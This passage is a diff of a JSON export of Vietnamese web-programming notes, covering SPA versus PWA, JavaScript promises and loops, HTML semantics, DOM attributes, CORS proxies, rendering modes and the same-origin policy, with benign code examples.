\r\n - Mỗi lần nhận response thì Server phải xử lý rất nhiều từ data, bussiness logic và cuối cùng tạo ra view và gửi string html rất nặng về client site.\r\n\r\n_**Bất lợi khá nhiều****:**_\r\n\r\n1. Tổng lại là thời gian load để xử lý từ 2 phía client và server rất nhiều!\r\n2. Server site xử lý khá nhiều vì phải generate view cho client.\r\n3. Việc develop tốn nhiều công sức đồi hỏi client site và server site phải có sự liên kết!\r\n\r\n## Single Page App (SPA)\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_550,h_300/http://lcdung.top/wp-content/uploads/2018/01/TraditionalLifecycle.jpg)\r\n\r\nVì sự bất lợi của Web app, _**Single page app**_ ra đời để cải thiện các điểm bất lợi còn tồn động và single page app xử lý dựa trên nền các library, framework java script và _**phương thức truyền dữ liệu chính là dùng ajax**_. Ai dùng Angular (Framework) hay React (Library) sẽ hiểu về nó 😛\r\n\r\n- **Browser (Client site):**\r\n - Yêu cầu technique: phải hỗ trợ java script, các library java script dùng ajax là chính.\r\n - Hoạt động: mỗi lần load page lần đầu khá lâu, vì load master page và khởi tạo các Object model (lưu trữ data vào object java script). Nhưng sẽ _**không tốn thời gian load lại**_ khi chuyển sang các page khác vì mọi thứ đều được các library hoặc framework sẽ render thành view, còn data sẽ được truyền thông qua ajax và được lưu vào các object!\r\n- **Web server (Server site):** \r\n - Mỗi lần nhận response thì Server chỉ xử lý data, bussiness logic và gửi data theo kiểu json object dữ liệu rất nhẹ về client site.\r\n\r\n_**Thuận lợi:**_\r\n\r\n1. Tổng lại là thời gian load để xử lý từ 2 phía client và server giảm rất nhiều!\r\n2. Server site xử lý và trả về gói dự liệu nhẹ hơn nhiều.\r\n3. Việc develop client site và server site có thể tách rời riêng biệt rõ ràng hơn!\r\n4. Việc chuyển trang trên single page và không reload page nên thấy rất nhanh.\r\n\r\n**Bất lợi:**\r\n\r\n1. Developer phải có kiến thức về java script và các library java script render (React, Angular,…) thật kỹ để phát triển front end.\r\n2. Browser phải hỗ trợ các version java script mới để các library hay framework java script vận hành tốt.\r\n3. Khi reload page thời gian khởi tạo từ phía client vẫn tốn nhiều thời gian.\r\n\r\n## Progressive Web App (PWA)\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_638,h_339/http://lcdung.top/wp-content/uploads/2018/01/sw.jpg)\r\n\r\nĐể tối ưu hơn tốc độ load từ Single page app, **Progressive web app** ra đời để tận dụng các technique từ Browser đã hỗ trợ Java script, Cache, DB local và phương thức truyền dữ liệu chính là _**Service Worker**_ (Plugin của browser, device dùng thông qua java script và là trái tim của PWA).\r\n\r\n- **Browser (Client site):**\r\n - Yêu cầu technique: phải hỗ trợ Java script, Cache, DB local và Service Worker là phương thức chính để nhận data, lưu trữ vào cache hoặc DB.\r\n - Hoạt động: Mỗi lần đầu load page thời gian load master page và khởi tạo Service Worker không nhiều như **SPA**. Theo SPA mất 10 giây thì PWA chỉ mất 1 giây. Những lân load page lại thì SPA vẫn tốn 5-10 giây để load thì Service Worker chỉ tốn chưa đến 1 giây.\r\n- **Web server (Server site):** \r\n - Mỗi lần nhận response thì Server chỉ xử lý data, bussiness logic và gửi data theo kiểu json object object, dữ liệu rất nhẹ.\r\n\r\n_**Thuận lợi:**_\r\n\r\n1. Tổng lại là thời gian load để xử lý từ 2 phía client và server giảm rất nhiều!\r\n2. Server site xử lý và trả về gói dự liệu nhẹ hơn nhiều.\r\n3. Việc develop client site và server site có thể tách rời riêng biệt rõ ràng hơn!\r\n4. Việc reload trang không còn là vấn đề như SPA.\r\n5. Trang đã load lần đầu thì các lần sau có thể chạy offline vì mọi thứ đều store dưới local của browser.\r\n\r\n**Bất lợi:**\r\n\r\n1. Developer phải có kiến thức về java script và các library java script render (React, Vue,…) thật kỹ để phát triển front end.\r\n2. Browser phải dùng version mới để hỗ trợ các version java script để các library hay framework java script sử dụng service worker.\r\n3. Domain phải dùng HTTPS để bảo mật khi truyền dữ liệu.\r\n\r\nTrong tương lai mình thấy được **Accelerated Mobile Pages (AMP)** sẽ kết hợp với PWA để tạo ra đột phá về trải nghiệm người dùng tốt hơn về thời gian load có thể là tốn zero giây cho first load 😀\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_804,h_455/http://lcdung.top/wp-content/uploads/2018/01/app.jpg)\r\n\r\n\r\nNguồn:: [So sánh Single Page App (SPA) vs Progressive Web App (PWA) - LCDUNG](https://lcdung.top/sanh-single-page-app-spa-vs-progressive-web-app-pwa/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-30T05:59:00.000Z", - "id": "WJ" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "a1" }, { - "Tiêu đề": "Hàm gọi hàm callback đã xác định sẵn tham số truyền vào cho callback. Callback bắt buộc phải có đúng thứ tự và kiểu biến được hàm gọi cho trước", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Hàm gọi hàm callback đã xác định sẵn tham số truyền vào cho callback. Callback bắt buộc phải có đúng thứ tự và kiểu biến được hàm gọi cho trước", + "Tiêu đề": "UI là kết quả của state và data. State nằm ở client, data nằm ở server", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/UI là kết quả của state và data. State nằm ở client, data nằm ở server", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Callback là những hàm được dùng như đối số của hàm khác]]. Khi dùng những hàm có callback, ta thắc mắc không biết tham số đã được truyền vào như thế nào? Ví dụ như:\r\n```js\r\nfunction callback (e) {\r\n console.log('clicked');\r\n}\r\n\r\nhàmNgoài(callback);\r\n```\r\n\r\nTa thấy `callback()` là một hàm. Để nó hoạt động được thì phải truyền tham số vào. Nên đáng lẽ code trên phải là như vậy mới đúng chứ?\r\n\r\n```js\r\nfunction callback (e) {\r\n console.log('clicked');\r\n}\r\n\r\nconst e = hàmNgoài();\r\ncallback(e)\r\n```\r\n\r\nThực ra có thể nghĩ là `hàmNgoài()` đã được viết sẵn như vậy ở đâu đó:\r\n```js\r\nfunction hàmNgoài(callback){\r\n\tconst e = ...\r\n\tcallback(e)\r\n} \r\n```", + "Toàn bộ nội dung": "Nếu chỉ cần state để tạo UI thì là client-side render. Nếu chỉ cần data thì là server-side render\r\n\r\nNguồn:: ![Rethinking React - YouTube](https://youtu.be/KuhfT6-I3QU?si=dw2sM15R87Odni4C)\r\n[[State giúp cập nhật dữ liệu mà không cần tải lại trang]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WK" + "id": "a2" }, { - "Tiêu đề": "catch là then(null, onError)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Promise/catch là then(null, onError)", + "Tiêu đề": "Article dùng cho những nội dung độc lập, chứ không nhất định phải là một bài viết dài", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Article dùng cho những nội dung độc lập, chứ không nhất định phải là một bài viết dài", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Tất tần tật về Promise và async/await - Ehkoo](https://ehkoo.com/bai-viet/tat-tan-tat-ve-promise-va-async-await)", + "Toàn bộ nội dung": "Một document có thể có nhiều article. Một article cũng có thể chứa nhiều article khác:\r\n```html\r\n<article class=\"forecast\">\r\n <h1>Weather forecast for Seattle</h1>\r\n <article class=\"day-forecast\">\r\n <h2>03 March 2018</h2>\r\n <p>Rain.</p>\r\n </article>\r\n <article class=\"day-forecast\">\r\n <h2>04 March 2018</h2>\r\n <p>Periods of rain.</p>\r\n </article>\r\n <article class=\"day-forecast\">\r\n <h2>05 March 2018</h2>\r\n <p>Heavy rain.</p>\r\n </article>\r\n</article>\r\n```\r\n![[article html tag.png]]\r\nNguồn:: [\\<article\\>: The Article Contents element - HTML: HyperText Markup Language | MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/article)\r\n\r\nTuy nhiên, nó nên dùng cho những thứ nếu tách ra khỏi web thì vẫn hiểu được\r\nNguồn:: [Should I use 'li' or 'article' for products listing?](https://stackoverflow.com/a/30845498/3416774)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-30T15:04:00.000Z", - "id": "WL" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "a3" }, { - "Tiêu đề": "Promise chỉ là một vật thể để việc lập trình được tiện hơn, không phải là một tính năng mà những phiên bản JS trước không làm được", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Promise/Promise chỉ là một vật thể để việc lập trình được tiện hơn, không phải là một tính năng mà những phiên bản JS trước không làm được", + "Tiêu đề": "DOM là kết quả của việc parse HTML", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/DOM là kết quả của việc parse HTML", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Lớp là một cái khuôn để tạo các vật thể cho nhanh]]. Thông thường để tạo một vật thể mới qua một lớp ta dùng thế này:\n```js\nconst xeMáy = new Xe('2 bánh')\nconst ôTô = new Xe('4 bánh')\nconst xeTải = new Xe('12 bánh')\n// ^ vật thể ^ Lớp\n```\n\nPromise là một vật thể, và nó được tạo ra từ lớp `Promise`. Lớp này không nhận đối số là chuỗi như bình thường mà là cả một hàm:\n```js\nconst promise = new Promise(hàm)\n// ^ vật thể ^ Lớp\n```\n\nHàm này được quy định có 2 đối số có tên là `resolve` và `reject`:\n```js\nfunction hàm(resolve, reject) {} \n```\n\nVật thể `promise` sau khi được tạo ra từ lớp `Promise` sẽ có 3 phương thức: `then`, `catch`, `finally`. \n\n```js\nfetch(\"https://jsonplaceholder.typicode.com/todos/1\")\n.then(res => res.json())\n.then(d => console.log(d))\n```\n\n[[Phương thức cho ta biết mình có thể làm gì với vật thể đó]]", + "Toàn bộ nội dung": "[[Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language]]\r\n\r\n![An Introduction to Browser Rendering - YouTube](https://youtu.be/n1cKlKM3jYI?si=5WkAsp9VgCo6V6tZ)\r\n[[DOM property khác HTML attribute]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-30T15:04:00.000Z", - "id": "WM" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "a4" }, { - "Tiêu đề": "Promise được sinh ra là để không phải dùng if lồng quá nhiều", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Promise/Promise được sinh ra là để không phải dùng if lồng quá nhiều", + "Tiêu đề": "DOM property khác HTML attribute", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/DOM property khác HTML attribute", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```js\napi.getUser('pikalong', function (err, user) {\n if (err) throw err\n api.getPostsOfUser(user, function (err, posts) {\n if (err) throw err\n api.getCommentsOfPosts(posts, function (err, comments) {\n // vân vân và mây mây...\n })\n })\n})\n```\n\nVí dụ trên khi được viết lại bằng Promise sẽ là:\n\n```js\napi\n .getUser('pikalong')\n .then((user) => api.getPostsOfUser(user))\n .then((posts) => api.getCommentsOfPosts(posts))\n .catch((err) => {\n throw err\n })\n```\n\nTrích từ:: [Tất tần tật về Promise và async/await - Ehkoo](https://ehkoo.com/bai-viet/tat-tan-tat-ve-promise-va-async-await)\nPromise được sinh ra để giải quyết những rắc rối của việc dùng quá nhiều callback. [[Callback là những hàm được dùng như đối số của hàm khác]]\n\n[[await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự]]\n[[Thực chất promise không giải quyết được chuyện lồng, vì promise cũng lồng vào nhau như if thôi. Thứ nó giải quyết là việc các giá trị trả về từ promise trông như không lồng vào nhau gì cả]] ", + "Toàn bộ nội dung": "[[Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào]] \r\nNguồn:: [[MDN]], [What is the difference between properties and attributes in HTML?](https://stackoverflow.com/q/6003819/3416774)\r\nĐây là attribute:\r\n```html\r\n<a href='...'\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-30T15:04:00.000Z", - "id": "WN" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "a5" }, { - "Tiêu đề": "Thực chất promise không giải quyết được chuyện lồng, vì promise cũng lồng vào nhau như if thôi. Thứ nó giải quyết là việc các giá trị trả về từ promise trông như không lồng vào nhau gì cả", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Promise/Thực chất promise không giải quyết được chuyện lồng, vì promise cũng lồng vào nhau như if thôi. Thứ nó giải quyết là việc các giá trị trả về từ promise trông như không lồng vào nhau gì cả", + "Tiêu đề": "Dùng tag ngữ nghĩa thay vì dùng div", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Dùng tag ngữ nghĩa thay vì dùng div", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Nguồn:: ![Why & When to Use Semantic HTML Elements over Divs - YouTube](https://youtu.be/bOUhq46fd5g?si=n-IUAnU_HUnbdylk)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-30T15:04:00.000Z", - "id": "WO" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "a6" }, { - "Tiêu đề": "JSON.stringify(new Error()) trả về một vật thể rỗng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Chuỗi/JSON.stringify(new Error()) trả về một vật thể rỗng", + "Tiêu đề": "Dùng XHTML sẽ tốt hơn là dùng HTML", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Dùng XHTML sẽ tốt hơn là dùng HTML", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```javascript\r\n> JSON.stringify(error);\r\n'{}'\r\n```\r\n\r\nFrom the document of [JSON.stringify()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify),\r\n\r\n> For all the other Object instances (including Map, Set, WeakMap and WeakSet), only their enumerable properties will be serialized.\r\n\r\nand `Error` object doesn't have any enumerable properties, that's why it prints an empty object.\r\n\r\n**Background on enumerable properties**\r\n\r\nIn Javascript, an object can have two types of properties:\r\n\r\n- enumerable properties\r\n- non-enumerable properties\r\n\r\nThe exact distinction is a bit tricky, but basically:\r\n\r\n- \"normal\" properties, such as the ones you create by assignment ( `myobj= {}; myobj.prop1 = 4711;`), are enumerable,\r\n- \"internal\" properties, such as the `length` property of an array, are non-enumerable\r\n\r\nIn particular, an `Error` has _only_ non-enumerable properties.\r\n\r\nFor details, see for example [Enumerability and ownership of properties](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties) on MDN.\r\n\r\nNguồn:: [[Stack Overflow]], [Is it not possible to stringify an Error using JSON.stringify?](https://stackoverflow.com/a/50738205/3416774)", + "Toàn bộ nội dung": "HTML tự động điền tag đóng vì ngày xưa cần tiết kiệm dung lượng ổ đĩa càng nhiều càng tốt. Tuy nhiên bây giờ thì việc tiết kiệm này không còn cần thiết, mà còn tạo thêm nhiều rắc rối. HTML dựa trên XML (viết tắt là XHTML) sẽ giải quyết được việc này.\n\nNguồn:: <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/RH0o-QjnwDg?si=OuKNNsHDACUtB5dZ&start=229\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WP" + "Ngày cập nhật": "2024-09-10T08:26:00.000Z", + "id": "a7" }, { - "Tiêu đề": "object Object xảy ra khi một vật thể bị chuyển sang dạng chuỗi", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Chuỗi/object Object xảy ra khi một vật thể bị chuyển sang dạng chuỗi", + "Tiêu đề": "HTML giống như từng thành phần trong bộ đồ như quần, áo, nón, giày. CSS giống như màu sắc, kích thước của quần, áo. JS là thứ giúp thay đổi màu sắc, kích thước của quần, áo", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/HTML giống như từng thành phần trong bộ đồ như quần, áo, nón, giày. CSS giống như màu sắc, kích thước của quần, áo. JS là thứ giúp thay đổi màu sắc, kích thước của quần, áo", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n[[Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WQ" + "id": "a8" }, { - "Tiêu đề": "String(x) giống x.tostring(), nhưng không gây ra lỗi nếu x là null hoặc undefined", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Chuỗi/String(x) giống x.tostring(), nhưng không gây ra lỗi nếu x là null hoặc undefined", + "Tiêu đề": "Khi chỉnh CSS mà thấy không thay đổi, thử xoá cache xem", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Khi chỉnh CSS mà thấy không thay đổi, thử xoá cache xem", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [What's the difference between String(value) vs value.toString()](https://stackoverflow.com/a/3945225/3416774)", + "Toàn bộ nội dung": "![](https://i.imgur.com/169cTiL.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WR" + "id": "a9" }, { - "Tiêu đề": "Dùng map tiện hơn dùng for vì nó tạo ra một mảng mới cho mình và không cần phải lo mảng cũ bị sửa đổi", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Dùng map tiện hơn dùng for vì nó tạo ra một mảng mới cho mình và không cần phải lo mảng cũ bị sửa đổi", + "Tiêu đề": "Obsidian dùng ES5", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Obsidian dùng ES5", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Sau này khi cần làm React thì sẽ rất tiện ([[Component là những hàm hoặc lớp trả về một khối JSX]]) \r\n```tsx\r\n <ul>\r\n\t{fuseBàiĐăng.search(keyword).map(\r\n\t (kếtQuả) => <li>{kếtQuả.item[\"Tiêu đề\"]}</li>,\r\n\t)}\r\n </ul>\r\n```\r\nNguồn:: ![#26 Map Arrays - Dùng Hàm Map Thay Vì For Loops | JavaScript Cơ Bản Từ A đến Z Cho Beginners - YouTube](https://youtu.be/2oyyugWmGMk?si=D2Z6kXOTWegDLElg&t=460)json", + "Toàn bộ nội dung": "Dù vậy ES5 đã có prototype which are functionally identical)\nNguồn:: [Discord](https://discord.com/channels/686053708261228577/840286264964022302/1281568042253287517)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WS" + "Ngày cập nhật": "2024-09-06T15:27:00.000Z", + "id": "aA" }, { - "Tiêu đề": "f(a)(b) để gọi hàm f(a) có chứa hàm con f1(b)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/f(a)(b) để gọi hàm f(a) có chứa hàm con f1(b)", + "Tiêu đề": "Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Tránh dùng hàm lồng để làm giảm sự couple]]", + "Toàn bộ nội dung": "Chính vì như vậy, nên DOM không có attribute, HTML không có property\r\n[[Vật thể được tạo nên bởi những thuộc tính]]\r\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WT" + "id": "aB" }, { - "Tiêu đề": "Luôn dùng for of, đừng dùng for in", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Luôn dùng for of, đừng dùng for in", + "Tiêu đề": "Nếu tạo CORS proxy thì chỉ trả về đúng HTML thôi, đừng xử lý gì hết trên đó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Nếu tạo CORS proxy thì chỉ trả về đúng HTML thôi, đừng xử lý gì hết trên đó", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```js\r\nlet colors = ['red', 'green', 'blue'];\r\n\r\nfor (let i in colors) {\r\n console.log(i); // \"0\", \"1\", \"2\"\r\n}\r\n\r\nfor (let i of colors) {\r\n console.log(i); // \"red\", \"green\", \"blue\"\r\n}\r\n```\r\n# `for-in`\r\n- Lặp qua các `key` của _enumerable properties_ trong một object\r\n- Dùng được cho **String**, **Array**, or những object đơn giản, nhưng không phải với các object như **Map()** hoặc **Set()**\r\n# `for-of`\r\n- Lặp qua các phần tử của một _iterable object_\r\n- Dùng được cho **Array**, **String**, **Map** hoặc **Set** object, nhưng nó không sử dụng trên những object đơn giản\r\n\r\nNguồn:: [Sự khác biệt giữa for-.in, for-.of and forEach trong javascript](https://anonystick.com/blog-developer/su-khac-biet-giua-forin-forof-and-foreach-trong-javascript-2020041337746860)\r\n# Trường hợp dùng for-in\r\nNếu chạy qua từng phần tử trong mảng mà sau đó cần dùng lại indexOf, thì không nên dùng for-of, vì `indexOf()` chỉ trả về giá trị đầu tiên.\r\n```js\r\nfor (const i of vậtThểTừCâuNhập) {\r\n for (const k in i[0]) {\r\n const vịTríTrongCâuNhập = i[2][k]\r\n if (i[0][k].split(' ').length === 1) {\r\n danhSáchTừĐơnTrongCâuNhập.push([i[0][k], vịTríTrongCâuNhập])\r\n } else {\r\n danhSáchTừGhépTrongCâuNhập.push([i[0][k], vịTríTrongCâuNhập])\r\n }\r\n console.log(i[0][k], vịTríTrongCâuNhập, k, danhSáchTừĐơnTrongCâuNhập)\r\n }\r\n }\r\n\r\n```\r\n[[Dùng map tiện hơn dùng for vì nó tạo ra một mảng mới cho mình và không cần phải lo mảng cũ bị sửa đổi]] ", + "Toàn bộ nội dung": "Vì nếu xử lý và cần trả về một vật thể có chứ DOM, thì việc phải dùng `return Response.json()` sẽ gây lỗi circular\r\n\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WU" + "id": "aC" }, { - "Tiêu đề": "Named export thường dùng cho các file lưu trữ nhiều function, object như utils, constant, api, store… Export default thường dùng cho class, function component", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Named export thường dùng cho các file lưu trữ nhiều function, object như utils, constant, api, store… Export default thường dùng cho class, function component", + "Tiêu đề": "Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Named export thường dùng cho các file lưu trữ nhiều function, object như utils, constant, api, store… Export default thường dùng cho class, function component vì một file component thường chỉ cần export duy nhất component đó để sử dụng thôi.\r\nNguồn:: [ReactJS: Hướng dẫn Export/Import Files hợp lý và chuyên nghiệp](https://wiki.tino.org/export-import-files-hop-ly-va-chuyen-nghiep/)\r\n", + "Toàn bộ nội dung": "https://toidicodedao.com/2018/09/11/su-khac-biet-giua-server-side-rendering-va-client-side-rendering/\r\nNguồn:: ![SSR & CSR - YouTube](https://www.youtube.com/watch?v=HLEu57iLrRo)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WV" + "id": "aD" }, { - "Tiêu đề": "Phương thức json() của Request và Response là để chuyển từ dạng chuỗi sang vật thể", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Phương thức json() của Request và Response là để chuyển từ dạng chuỗi sang vật thể", + "Tiêu đề": "Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể]]\r\n[[Phương thức cho ta biết mình có thể làm gì với vật thể đó]]\r\nNguồn:: [[MDN]], [Request: json() method - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Request/json), [Response: json() method - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Response/json)", + "Toàn bộ nội dung": "## What is Same Origin Policy?\r\n\r\n![](https://images.viblo.asia/9c0d86ff-0393-43e0-9109-80fe89fb7d2b.jpeg)\r\n\r\n**Same-origin policy** (SOP) là một trong những chính sách bảo mật quan trọng nhất trên trình duyệt hiện đại, nhằm ngăn chặn JavaScript code có thể tạo ra những request đến những nguồn khác với nguồn mà nó được trả về. Ba tiêu chí chính để so sánh request bao gồm:\r\n\r\n- Domain (tên miền)\r\n- Protocol (giao thức)\r\n- Port (cổng kết nối)\r\n\r\nNói đơn giản thì request sẽ được coi là hợp lệ chỉ khi nó thỏa mãn 3 tiêu chí ở trên (cùng domain,cùng protocol và cùng port)\r\n\r\n### Example\r\n\r\nThử tưởng tượng khi chúng ta đang mở 2 tab, 1 tab là facebook, tab kia là 1 trang web nào đó có chứa mã độc. Sẽ rất nguy hiểm nếu như các đoạn script ở bên tab chứa mã độc có 